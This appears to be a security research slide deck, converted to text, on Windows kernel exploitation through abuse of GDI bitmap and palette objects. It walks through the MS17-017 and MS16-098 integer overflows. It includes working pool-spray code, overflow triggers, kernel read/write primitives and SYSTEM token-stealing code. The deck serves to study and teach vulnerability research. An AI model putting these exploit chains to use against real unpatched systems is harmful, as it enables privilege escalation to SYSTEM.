Demystifying Windows Kernel Exploitation by Abusing GDI Objects.

Saif El-Sherei
#Whoami

Saif

Bast
Why?
What?
• Abusing two types of GDI Objects, to gain ring0 exploit primitives.
• Analysing two N-Days (MS16-098, MS17-017??), by using these techniques.
Introduction

Demystifying Kernel Exploitation by Abusing GDI Objects:

Introduction:
In this paper, we will discuss integer overflows that lead to Kernel Pool memory corruption. We will go through discovery, triggering, and exploiting the identified issues, by abusing two GDI objects, the bitmap and palette objects. The concepts presented in this paper represent how I understood and tackled them, they might not be very scientific in that sense.

Standing on the Shoulders of Giants:
- Nicolas Economou and Diego Juarez Anaya Abusing GDI for ring 0: [https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives](https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives)
- K33n team: [https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes](https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes)
- J00ru, Halvar Flake, Tarjet Mandt, Halsten, Alex Ionescu, Nikita Terankey and many others.

The Setup:
- IDA Pro.
- *Dynamics* WinDiff.
- VirtualKD (much love).
- WinDbg
- GDIObjDump WinDbg Extension
- *VmnWare Workstation:"
  - Windows 8.1 x64.
  - Windows 7 SP1 x64.

WinDbg Pool analysis tips:
- poolused
  This command can be used to view the pool usage of a certain Pool tag or for a certain Pool type.
Kernel Pool

DO NOT PEE IN THE POOL!
x64 Pool Header: size 0x10
kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 8 Bits
+0x000 PoolIndex : Pos 8, 8 Bits
+0x000 BlockSize : Pos 16, 8 Bits
+0x000 PoolType : Pos 24, 8 Bits
+0x004 PoolTag : Uint4b
+0x008 ProcessBilled : Ptr64, _EPROCESS

x86 Pool Header: size 0x8
kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x004 PoolTag : Uint4b
Kernel Pool: Allocation Dynamics.

Pool Page
Size 0x100

First Chunk

Third Chunk

Second Chunk
Kernel Pool Spraying / Feng-Shui
• Get Pool memory in deterministic state.
• Done using series of allocations / de-allocations.
• Create memory holes between user controlled object.
• Hopefully vulnerable object will be allocated to one of these memory holes.
Kernel Pool Corruption
X86 Integer Overflow

\[ 0xFFFF\text{FFFF}80 + 0x81 = 0x00000001 \text{ ??? ??} \]

Actually

\[ = 0x01000000001 \]

> 32-bit wide register (4 Bytes)

Integer truncated

Most Significant Byte Ignored (0x01)

\[ = 0x1 \]
Kernel Pool Corruption Integer Overflows
Linear Overflows

Linear Overflow

1- oObject = ExAllocatePoolWithTag(overflow_size);
2- memcpy(oObject, dAddress, original_size);
1- oObject = ExAllocatePoolWithTag(Fixed_size);
2- memcpy(oObject, dAddress, UserControl_size);

0x1000 page size
Out-Of-Bounds Write

1- oObject = ExAllocatePoolWithTag(overflow_size);
2- oObject[idx>overflow_size] = 0x5A1F5A1F

Idx > overflow_size

0x1000 page size
How?
Abusing GDI Objects
For ring0 Exploit Primitives
Abusing GDI Objects for ring0 Exploit
Primitives: Memory Layout

Relative Memory Read/Write

- Normal Object A Data Size = 0x5A1F.
- Can normally read/write 0x5A1F * (TYPE_SIZE) bytes, from Data pointer *Data.

0x1000 Memory Page

Object A Header
Object A DataSize = 0x5A1F
Object A *Data
Object A Data
Object B Header
Object B Size
Object B *Data
Object B Data

Object A Data
Object B Data
Abusing GDI Objects for ring0 Exploit
Primitives: Relative Memory read/write

Relative Memory Read/Write

- Corrupted Object A Data Size = 0xFFFFFFFF.
- Can read/write 0xFFFFFFFF * (TYPE_SIZE) bytes, from Data pointer *Data.
- Successfully reading/writing memory beyond the object’s size limit.

Corrupted Object A Data, overflowing the original Object size into Object B
Abusing GDI Objects for ring0 Exploit
Primitives: Relative Memory read/write

Arbitrary Memory Read/Write

- Use Object A corrupted DataSize, to gain relative memory read/write.
- Read memory between Object A Data, and Object B *Data.
- Replace Object B *Data offset, with leaked or calculated address.
- Use Object B read/write functions, to read from the controlled memory pointer.
Abusing GDI Objects
Bitmaps

I DON'T ALWAYS USE BITMAPS

BUT WHEN I DO IT'S FOR KERNEL EXPLOITATION

Shamelessly ripped from b33f
@FuzzySec :D
Abusing GDI Objects: Bitmaps (_SURFOBJ)

**Structure**

Object type _SURFOBJ

PoolTag Gh?5, Gla5

<table>
<thead>
<tr>
<th>SURFOBJ</th>
<th>x86</th>
<th>x64</th>
</tr>
</thead>
<tbody>
<tr>
<td>typedef struct _SURFOBJ</td>
<td></td>
<td></td>
</tr>
<tr>
<td>} SURFOBJ, *PSURFOBJ;</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

```c
typedef struct _SURFOBJ {
    DHSURF dhsurf;      // 0x000
    HSURF hsurf;        // 0x004
    DHPDEV dhpdev;      // 0x008
    HDEV hdev;          // 0x00c
    SIZEL sizlBitmap;   // 0x010
    ULONG cjBits;       // 0x018
    PVOID pvBits;       // 0x01c
    PVOID pvScan0;      // 0x020
    LONG lDelta;        // 0x024
    ULONG iUniq;        // 0x028
    ULONG iBitmapFormat; // 0x02c
    USHORT iType;       // 0x030
    USHORT fjBitmap;    // 0x032
    // size
    0x034
} SURFOBJ, *PSURFOBJ;
```
Abusing GDI Objects: Bitmaps (_SURFOBJ)

Allocate 2000 Bitmaps

```c
for (int y = 0; y < 2000; y++) {
    HBITMAP bmp = CreateBitmap(
        0x3A3, // nWidth
        1, // nHeight
        1, // cPlanes
        32, // cBitsPerPel
        NULL); // lpvBits
}
```

Parameters

- **nWidth [in]**
  The bitmap width, in pixels.

- **nHeight [in]**
  The bitmap height, in pixels.

- **cPlanes [in]**
  The number of color planes used by the device.

- **cBitsPerPel [in]**
  The number of bits required to identify the color of a single pixel.

- **lpvBits [in]**
  A pointer to an array of color data used to set the colors in a rectangle of pixels. Each scan line in the rectangle must be word aligned (scan lines that are not word aligned must be padded with zeros). If this parameter is **NULL**, the contents of the new bitmap is undefined.
Abusing GDI Objects: Bitmaps (_SURFOBJ)

KFree

```c
BOOL DeleteObject(
    _In_  HGDIOBJ hObject
);
```

**Parameters**

*hObject [in]*
A handle to a logical pen, brush, font, bitmap, region, or palette.

```c
DeleteObject(HBITMAP hBmp);
```
LONG GetBitmapBits(
    _In_   HBITMAP hbmp,
    _In_   LONG  cbBuffer,
    _Out_  LPVOID lpvBits
);

Parameters

hbmp [in]
A handle to the device-dependent bitmap.

cbBuffer [in]
The number of bytes to copy from the bitmap into the buffer.

lpvBits [out]
A pointer to a buffer to receive the bitmap bits. The bits are stored as an array of byte values.
Abusing GDI Objects: Bitmaps (_SURFOBJ)
Write Memory

LONG SetBitmapBits(
    _In_        HBITMAP  hbmp,
    _In_        DWORD   cBytes,
    _In_ const VOID *lpBits
);

Parameters

hbmp [in]
    A handle to the bitmap to be set. This must be a compatible bitmap (DDB).

cBytes [in]
    The number of bytes pointed to by the lpBits parameter.

lpBits [in]
    A pointer to an array of bytes that contain color data for the specified bitmap.
How do I Exploit?
Abusing GDI Objects: Bitmaps (_SURFOBJ)
Manager Bitmap Extension relative r/w

Relative Memory Read/Write Bitmaps

- Bitmap A can read only its Bits, so can Bitmap B.

0x1000 Memory Page

- Bitmap A Bits
- Bitmap B pvScan0
- Bitmap B Data

Bitmap A bits

Bitmap B bits
Abusing GDI Objects: Bitmaps (_SURFOBJ)
Manager Bitmap Extension relative r/w

Relative Memory Read/Write Bitmaps

- Corrupting any member of sizlBitmap, with a large value will expand its bits size into the adjacent Bitmap B.
- Gaining relative read/write on adjacent memory.
- Bitmap A will be our Manager, used to set the address to read/write from.
Abusing GDI Objects: Bitmaps (_SURFOBJ)
Manager Bitmap Extension Arbitrary r/w

Arbitrary Memory Read/Write Bitmaps

- By using the expanded Bitmap A (Manager) to set pvScan0 of Bitmap B (Worker) to any location in kernel memory.
- Then using Bitmap B reading/writing functions, will allow arbitrary read/write from the supplied pvScan0.

Read/write to/from an arbitrary memory location pointed to by Bitmap B pvScan0
Ohdays!!
Abusing GDI Objects: Palettes (_XEPALOBJ) Structures

Object type _PALETTE || _XEPALOBJ

```c
typedef struct _PALETTE
{
    BASEOBJECT       BaseObject;    // 0x00
    FLONG            flPal;         // 0x10
    ULONG            cEntries;      // 0x14
    ULONG            ulTime;        // 0x18
    HDC              hdcHead;       // 0x1c
    HDEVPPAL         hSelected;     // 0x20,
    ULONG            crefhpal;      // 0x24
    ULONG            crefRegular;   // 0x28
    PTRANSLATE       ptranFore;     // 0x2c
    PTRANSLATE       ptranCurrent;  // 0x30
    PTRANSLATE       ptranOld;      // 0x34
    ULONG            unk_038;       // 0x38
    PFN              pfGetNearest;  // 0x3c
    PFN              pfGetMatch;    // 0x40
    ULONG            ulRGBTime;     // 0x44
    PRGB555XL        pRGBXlate;     // 0x48
    PALETTEENTRY     *pFirstColor;  // 0x4c
    struct _PALETTE  *ppalThis;     // 0x50
    PALETTEENTRY     apalColors[1]; // 0x54
} PALETTE, *P_PALETTE;
```

PoolTag Gh?8, Gla8

```c
typedef struct _PALETTE64
{
    BASEOBJECT       BaseObject;    // 0x00
    FLONG            flPal;         // 0x18
    ULONG            cEntries;      // 0x1C
    ULONG            ullTime;       // 0x20
    HDC              hdcHead;       // 0x28
    HDEVPPAL         hSelected;     // 0x30
    ULONG            crefhpal;      // 0x38
    ULONG            crefRegular;   // 0x3c
    PTRANSLATE       ptranFore;     // 0x40
    PTRANSLATE       ptranCurrent;  // 0x48
    PTRANSLATE       ptranOld;      // 0x50
    ULONG            unk_038;       // 0x58
    PFN              pfGetNearest;  // 0x60
    PFN              pfGetMatch;    // 0x68
    ULONG            ullRGBTime;    // 0x70
    PRGB555XL        pRGBXlate;     // 0x78
    PALETTEENTRY     *pFirstColor;  // 0x80
    struct _PALETTE  *ppalThis;     // 0x88
    PALETTEENTRY     apalColors[1]; // 0x90
} PALETTE64, *P_PALETTE64;
```
Abusing GDI Objects: Palettes (\_XEPALOBJ)

KAlloc

Allocate 2000 Palettes

HPALETTE hps;
LOGPALETTE *lPalette;
lPalette =
(LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
lPalette->palNumEntries = 0x1E3;
lPalette->palVersion = 0x0300;
for (int k = 0; k < 2000; k++) {
    hps = CreatePalette(lPalette);
}
Abusing GDI Objects: Palettes (_XEPALOBJ)

KFree

BOOL DeleteObject(
    _In_  HGDIOBJ hObject
);

Parameters

*hObject [in]*

A handle to a logical pen, brush, font, bitmap, region, or palette.

DeleteObject(HPALETTE hPal);
Abusing GDI Objects: Palettes (_XEPALOBJ)
Read Memory

```c
UINT GetPaletteEntries(
    _In_  HPALETTE       hpal,
    _In_  UINT            iStartIndex,
    _In_  UINT            nEntries,
    _Out_ LPPALETTEENTRY lppe
);
```

Read Palette Entries

HRESULT res = GetPaletteEntries(
    hpal,       //Palette Handle
    index,     // index to read from
    sizeof(read_data)/sizeof(PALETTEENTRY), //nEntries
    &data);     //data buffer to read to
Abusing GDI Objects: Palettes (_XEPALOBJ)
Write Memory

Write Palette Entries

```c
HRESULT res = SetPaletteEntries(hpal, index, sizeof(write_data)/sizeof(PALETTEENTRY), &data);  // pointer to data to write
```
How do I Exploit?
Abusing GDI Objects: Palettes (_XEPALOBJ)
Manager Palette Extension relative r/w

Palette Objects

0x1000 Memory Page

Palette A cEntries

Palette A apalColors[]

Palette B *pFirstColor

Palette B apalColors[]

• Palette A can read only its Entries, so can Palette B.
Abusing GDI Objects: Palettes (XEPALOBJ)
Manager Palette Extension relative r/w

Relative Memory Read/Write Palettes

- Corrupting the cEntries member, with a large value will expand its apalColor entries size into the adjacent Palette B.
- Gaining relative read/write on adjacent kernel memory.
- Palette A will be our Manager, used to set the address to read/write from in Palette B.

0x1000 Memory Page

Corrupted Palette A
cEntries

Palette A apalColors[]

Bitmap B *pFirstColor

Palette B apalColors[]
Abusing GDI Objects: Palettes (_XEPALOBJ)
Manager Palette Extension relative r/w

Arbitrary Memory Read/Write Palettes

- By using the expanded Palette A (Manager) to set *pFirstColor of Palette B (Worker) to any location in kernel memory.
- Then using Palette B reading/writing functions, to gain arbitrary read/write from the controlled *pFirstColor.

Read/write to/from an arbitrary memory location pointed to by Palette B *pFirstColor
Abusing GDI Objects: Palettes (_XEPALOBJ)
Technique Restrictions

- Minimum Palette allocation size: 0x98 for x86 systems, and 0xD8 for x64 ones.
- There are some Palette object members that should not be clobbered when using the memory write function `SetPaletteEntries`, specifically:

<table>
<thead>
<tr>
<th>X86</th>
<th>X64</th>
</tr>
</thead>
</table>
| ```
typedef struct _PALETTE64
{
    ...
    HDC hdcHead; // 0x1c
    ...
    PTRANSLATE ptransCurrent; // 0x30
    PTRANSLATE ptransOld;     // 0x34
    ...
} PALETTE, *PPALETTE;
``` | ```
typedef struct _PALETTE64
{
    ...
    HDC hdcHead; // 0x28
    ...
    PTRANSLATE ptransCurrent; // 0x48
    PTRANSLATE ptransOld;     // 0x50
    ...
} PALETTE64, *PPALETTE64;
``` |
Abusing GDI Objects: Palettes (_XEPALOBJ)
Technique Restrictions (SetPaletteEntries)

GreSetPaletteEntries > XEPALOBJ::ulSetEntries
(checks the pTransCurrent, and pTransOld)
Abusing GDI Objects: Palettes (_XEPALOBJ)
Technique Restrictions (SetPaletteEntries)

SetPaletteEntries > NTSetPaletteEntries > GreSetPaletteEntries
Abusing GDI Objects: Palettes (\_XEPALOBJ)
Technique Restrictions (AnimatePalette)

*pFirstColor most significant byte must be ODD changes.
MSDN: “The AnimatePalette function only entries with the PC_RESERVED flag set in the corresponding palPalEntry member of the LOGPALETTE structure.”
EPROCESS SYSTEM
Token Stealing
EPROCESS SYSTEM Token Stealing

• Each running process on a system, is represented by an _EPROCESS structure in the kernel.
• This structure contains several interesting members, such as: ImageName, Token, ActiveProcessLinks, and UniqueProcessId.
• The offsets to these members differs from one OS version to another.

Windows 8.1
X64 Bits

kd> dt nt!_EPROCESS UniqueProcessId ActiveProcessLinks Token
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
+0x348 Token : _EX_FAST_REF

Windows 7
SP1 X86 Bits

0: kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks Token
dtx is unsupported for this scenario. It only recognizes dtx [<type ntdll!_EPROCESS
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0f8 Token : _EX_FAST_REF
EPROCESS SYSTEM Token Stealing

Game Plan

User:
ntoskrn!PsInitialSystemProcess – ntoskrn base
System:
Loaded ntoskrn base+
PsInitialSystemProcess offset

Initial SYSTEM process EPROCESS kernel address.

Arbitrary read primitive to get Token and ActivePorcessLinks offsets


Arbitrary write primitive to replace Current Process Token with SYSTEM one.
MS17-017 ENGBRUSHOBJ
Win32k!EngRealizeBrush
Integer Overflow Leading To OOB Write
MS17-017: Win32k!EngRealizeBrush Integer Overflow - Diffing the Patch

- MS17-017: March 2017
- Win32k!EngRealizeBrush
CreatePatternBrush > PatBlt < Win32k!EngRealizeBrush.

HBITMAP bitmap = CreateBitmap(0x5A1F, 0x5A1F, 1, 1, NULL);
HBRUSH hbrBkgnd = CreatePatternBrush(bitmap);
PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);

• The above code will reach the following calculations in the vulnerable function, with several controlled values.

```
loc_BF83E67A:
    mov    eax, edi       ; edi = bitmap.width
    imul   eax, ecx       ; ecx = 20h based on hdc->bitmap.bitsperpixel
    mov    ecx, [ebp+var_20] ; ecx = bitmap.height
    shr    eax, 3         ; eax = bitmap.width / 8
    imul   ecx, eax       ; ecx = (bitmap.width * 20 / 8) * bitmap.height
    mov    [ebp+var_48], eax
    mov    eax, [ebp+var_2C]
    mov    [ebp+var_8C], ecx
    lea    ebx, [ecx+44h]  ; ebx = ecx + 44h
    test   eax, eax
    jz     short loc_BF83E6CC

x = Bitmap.width * 20 (ecx = 20 and its based of the HDC->bitmap.bitsperpixel)
x = x / 2^3
y = x * bitmap.height
result = y + 0x44
```
MS17-017: Win32k!EngRealizeBrush Integer Overflow – Triggering the Overflow

PALLOCMEM(Result+0x40)

\[ 0x100000010 - 0x40 - 0x44 = 0xFFFFFFFF8C \]

\[ 0xFFFFFFFF8C = 0x8C \times 0x1D41D41 \]

\[ \frac{0x8C \times 0x8}{0x20} = 0x23 \]

```
HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL);
```
MS17-017: Win32k!EngRealizeBrush Integer Overflow – Triggering the Overflow

OOB write 0x00000006 to [esi+0x3C]
MS17-017: Win32k!EngRealizeBrush Integer Overflow – Stars Alignment

- Why 0x10 size allocation?? Write to [esi+3c]

Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10) + _SURFOBJ->height (0x14) = OOB write offset (0x3C)

OPTIONS

- Use Extended Bitmap as Manager and use a second Bitmap as Worker
- Use Extended Bitmap as Manager and Palette Object as Worker
- Use Extended Bitmap to increase size of Manager Palette and use the Manager Palette to control a Worker one.
for (int y = 0; y < 2000; y++) {
    //0x3A3 = 0xFe8
    bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);
    bitmaps[y] = bmp;
}
//Spray LpszMenuName User object in GDI pool. Ustx
// size 0x10+8
TCHAR st[0x32];
for (int s = 0; s < 2000; s++) {
    WNDCLASSEX Class2 = { 0 };
    wsprintf(st, "Class%d", s);
    Class2.lpfnWndProc = DefWindowProc;
    Class2.lpszClassName = st;
    Class2.lpszMenuName = "Saif";
    Class2.cbSize = sizeof(WNDCLASSEX);
    RegisterClassEx(&Class2); }

Session Pool Pages
Allocate Window Class LpszMenuName Ustx objects of size 0x18

<table>
<thead>
<tr>
<th>Bitmap Object Gh05 size 0xFE8</th>
<th>Alloc Ustx 0x18</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Bitmap Object Gh05 size 0xFE8</td>
<td>Alloc Ustx 0x18</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Bitmap Object Gh05 size 0xFE8</td>
<td>Alloc Ustx 0x18</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Bitmap Object Gh05 size 0xFE8</td>
<td>Alloc Ustx 0x18</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Bitmap Object Gh05 size 0xFE8</td>
<td>Alloc Ustx 0x18</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Bitmap Object Gh05 size 0xFE8</td>
<td>Alloc Ustx 0x18</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Bitmap Object Gh05 size 0xFE8</td>
<td>Alloc Ustx 0x18</td>
</tr>
</tbody>
</table>

0x1000 page size
SENSEPOST

MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray

```
for (int s = 0; s < 2000; s++) {
    DeleteObject(bitmaps[s]);
}
```
for (int k = 0; k < 2000; k++) {
    // 0x1A6 = 0x7f0+8
    bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL);
    bitmaps[k] = bmp;
}
MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray

HPALETTE hps;
LOGPALETTE *lpalette;
//0x1E3 = 0x7e8+8
lpalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
lpalette->palNumEntries = 0x1E3;
lpalette->palVersion = 0x0300;
// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18
for (int k = 0; k < 2000; k++) {
  hps = CreatePalette(lpalette);
  hp[k] = hps;
}
MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray

```c
TCHAR fst[0x32];
for (int f = 500; f < 750; f++) {
    wsprintf(fst, "Class%d", f);
    UnregisterClass(fst, NULL);
}
```
• If everything went according to plan the memory layout after the vulnerable object is allocated will be as follows.
The adjacent Bitmap object, should now be changed to have width 0x1A6 and height 0x6, instead of height 0x1.

```c
for (int i = 0; i < 2000; i++) {
    res = GetBitmapBits(bitmap[i], 0x6F8, bits);
    if (res > 0x6F8 - 1) {
        hManager = bitmap[i];
        break;
    }
}
```
The extended Bitmap object is used, to update the adjacent Palette object cEntries member extending its size and gaining relative memory read/write.

```c
for (int y = 0; y < 4; y++) {
    bits[0x6F8 - 8 - 0x38 + y] = 0xFF;
}
SetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
```
MS17-017: Win32k!EngRealizeBrush Integer Overflow – Abusing Palette Objects

Finding the Manager Palette.

```c
UINT *rPalette;
rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY));
memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY));
for (int k = 0; k < 2000; k++) {
    UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette);
    if (res > 0x3BB) {
        printf("[*] Manager XEPALOBJ Object Handle: 0x%x\n", hp[k]);
        hpManager = hp[k];
        break;
    }
}
```
MS17-017: Win32k!EngRealizeBrush Integer Overflow – Abusing Palette Objects

UINT wAddress = rPalette[0x3FE];
printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress);
UINT tHeader = pFirstColor - 0x1000;
tHeader = tHeader & 0xFFFFF000;
printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader);
SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1,
(PALETTEENTRY*)&tHeader);
Finding the Worker Palette

```c
UINT wBuffer[2];
for (int x = 0; x < 2000; x++) {
    GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPaletteEntry*)wBuffer);
    if (wBuffer[1] >> 24 == 0x35) {
        hpWorker = hp[x];
        printf("[\*] Worker XEPAOBJ object Handle: 0x%x\r\n", hpWorker);
    }
}
```

Extended Palette used as Manager to set *pFirstColor of Worker Palette.

Worker Palette used to read/write from location pointed to by *pFirstColor

```c
VersionSpecificConfig gConfig = { 0x0b4, 0x0f8 }; 
void SetAddress(UINT* address) {
    SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address);
}

void WriteToAddress(UINT* data, DWORD len) {
    SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data);
}

UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) {
    SetAddress((UINT*)&src);
    DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPaletteEntry*)dst);
    return res;
}
```
Replacing the Current process Token with the SYSTEM one.

```c
// get System EPROCESS
UINT SystemEPROCESS = PsInitialSystemProcess();
//fprintf(stdout, "\n%\n\n", SystemEPROCESS);
UINT CurrentEPROCESS = PsGetCurrentProcess();
//fprintf(stdout, "\n%\n\n", CurrentEPROCESS);
UINT SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1);
fprintf(stdout, "[*] Got System Token: %x\n", SystemToken);
// write token to current process
UINT CurProcessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress(&CurProcessAddr);
```
MS17-017: Win32k!EngRealizeBrush Integer Overflow - SYSTEM!!!
MS16-098 RGNOBJ Win32k!bFill Integer Overflow Leading To Pool Overflow
MS16-098: Win32k!bFill Integer Overflow

UlongMult: checks if multiplication will result in overflow.

Value at [rsp+size] passed to the allocation func PALLOCMEM2 as the Size Parameter.

In the unpatched version the supplied size value is multiplied without checking can be overflowed to a smaller allocation size.
MS16-098: Win32k!bFill Integer Overflow
Reaching the Vulnerable Function

bFill@([EPATHOBJ *], [RECTL *], unsigned __int32*, void (*__stdcall*)([RECTL *], unsigned __int32, void *), void *)

EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()

// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);

// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);

// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);

// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

// Begin path
BeginPath(hMemDC);

// draw a line between the supplied points.
LineTo(hdc, nXStart + ((int)(flRadius * aflCos[i])), nYStart + ((int)(flRadius * aflSin[i])));

// End the path
EndPath(hMemDC);

// Fill the path
FillPath(hMemDC);
MS16-098: Win32k!bFill Integer Overflow

Controlling the Allocation Size

\[
\left(\frac{0xFFFFFFFF}{3}\right) + 1 = 0x55555556 \\
(0x55555556 \times 3) = 0x100000002 \\
0x100000002 \ll 4 = 0x1000000020
\]

32-bit (4 Byte) Value in ecx
MS16-098: Win32k!bFill Integer Overflow
Controlling the Allocation Size

- Number of Points in selected Path.
- PolyLineTo
- Calling it 0x156 times with 0x3FE01 points:

```c
// Create a Point array
static POINT points[0x3FE01];
BeginPath(hMemDC);
// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
for (int j = 0; j < 0x156; j++) {
    PolylineTo(hMemDC, points, 0x3FE01);
}
// End the path
EndPath(hMemDC);
```

\[
0x156 \times 0x3FE01 = 0x5555556
\]

The application will add 1 to it

\[
0x5555557 \times 3 = 0x10000005
\]

\[
0x10000005 \ll 4 = 0x50
\]
SENSEPOST

Kernel Pool Feng shui

HBITMAP bmp;
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
for (int k = 0; k < 5000; k++) {
    bmp = CreateBitmap(1670, 2, 1, 8, NULL);
    bitmaps[k] = bmp;
}

Session Pool Pages
First Bitmap Objects Allocation of size 0xF80

0x1000 page size
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
    hAccel = CreateAcceleratorTableA(lpAccel, 1);
    hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
    pAccels[i] = hAccel;
    pAccels2[i] = hAccel2;
}
// Delete the allocated bitmaps to free space at beginning of pages
for (int k = 0; k < 5000; k++) {
    DeleteObject(bitmaps[k]);
}
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
for (int k = 0; k < 5000; k++) {
    CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
for (int k = 0; k < 5000; k++) {
    bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
    bitmaps[k] = bmp;
}

Session Pool Pages
Allocate Bitmap Gh05 objects of size 0x3C0

<table>
<thead>
<tr>
<th>Region Object Gh04 size 0xBC0</th>
<th>Allocate Bitmap Gh05 size 0x3C0</th>
<th>0x40</th>
<th>0x40</th>
</tr>
</thead>
<tbody>
<tr>
<td>Region Object Gh04 size 0xBC0</td>
<td>Allocate Bitmap Gh05 size 0x3C0</td>
<td>0x40</td>
<td>0x40</td>
</tr>
<tr>
<td>Region Object Gh04 size 0xBC0</td>
<td>Allocate Bitmap Gh05 size 0x3C0</td>
<td>0x40</td>
<td>0x40</td>
</tr>
<tr>
<td>Region Object Gh04 size 0xBC0</td>
<td>Allocate Bitmap Gh05 size 0x3C0</td>
<td>0x40</td>
<td>0x40</td>
</tr>
<tr>
<td>Region Object Gh04 size 0xBC0</td>
<td>Allocate Bitmap Gh05 size 0x3C0</td>
<td>0x40</td>
<td>0x40</td>
</tr>
<tr>
<td>Region Object Gh04 size 0xBC0</td>
<td>Allocate Bitmap Gh05 size 0x3C0</td>
<td>0x40</td>
<td>0x40</td>
</tr>
</tbody>
</table>

0x1000 page size
// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
for (int k = 0; k < 1700; k++) {
    AllocateClipboard2(0x30);
}

// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
for (int k = 2000; k < 4000; k++) {
    DestroyAcceleratorTable(pAccels[k]);
    DestroyAcceleratorTable(pAccels2[k]);
}
**MS16-098: Win32k\bFill Integer Overflow**

**Kernel Pool Feng shui**

Final Kernel Pool Layout after vulnerable object allocation
bConstructGET > addEdgeToGet.

The function will try to copy 0x5555557 Points (0x30 bytes each), to the newly allocated 0x50 bytes memory.
MS16-098: Win32k!bFill Integer Overflow
Analysing & Controlling the Overflow

This check will allow us to control how many points are copied across and thus control the overflow.
(CURRENT POINT.Y << 4) > 0x1F0

ecx = CURRENT POINT.Y
eax = 0x1F0
Points[2] = 20 (0x14) < 0x1F, the next points will be copied across.

```c
static POINT points[0x3fe01];
for (int l = 0; l < 0x3FE00; l++) {
    points[l].x = 0x5a1f;
    points[l].y = 0x5a1f;
}
points[2].y = 20; //0x14 < 0x1f
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
```

In the Point adding loop after 0x1F iterations set points[2] > 0x1F

```c
for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) {
    points[2].y = 0x5a1f;
}
    if (!PolylineTo(hMemDC, points, 0x3FE01)) {
        fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n",
GetLastError());
    }
}
Looking at the adjacent Bitmap object before and after the overflow.

```
kd> dq fffffff90170e37bc0+10
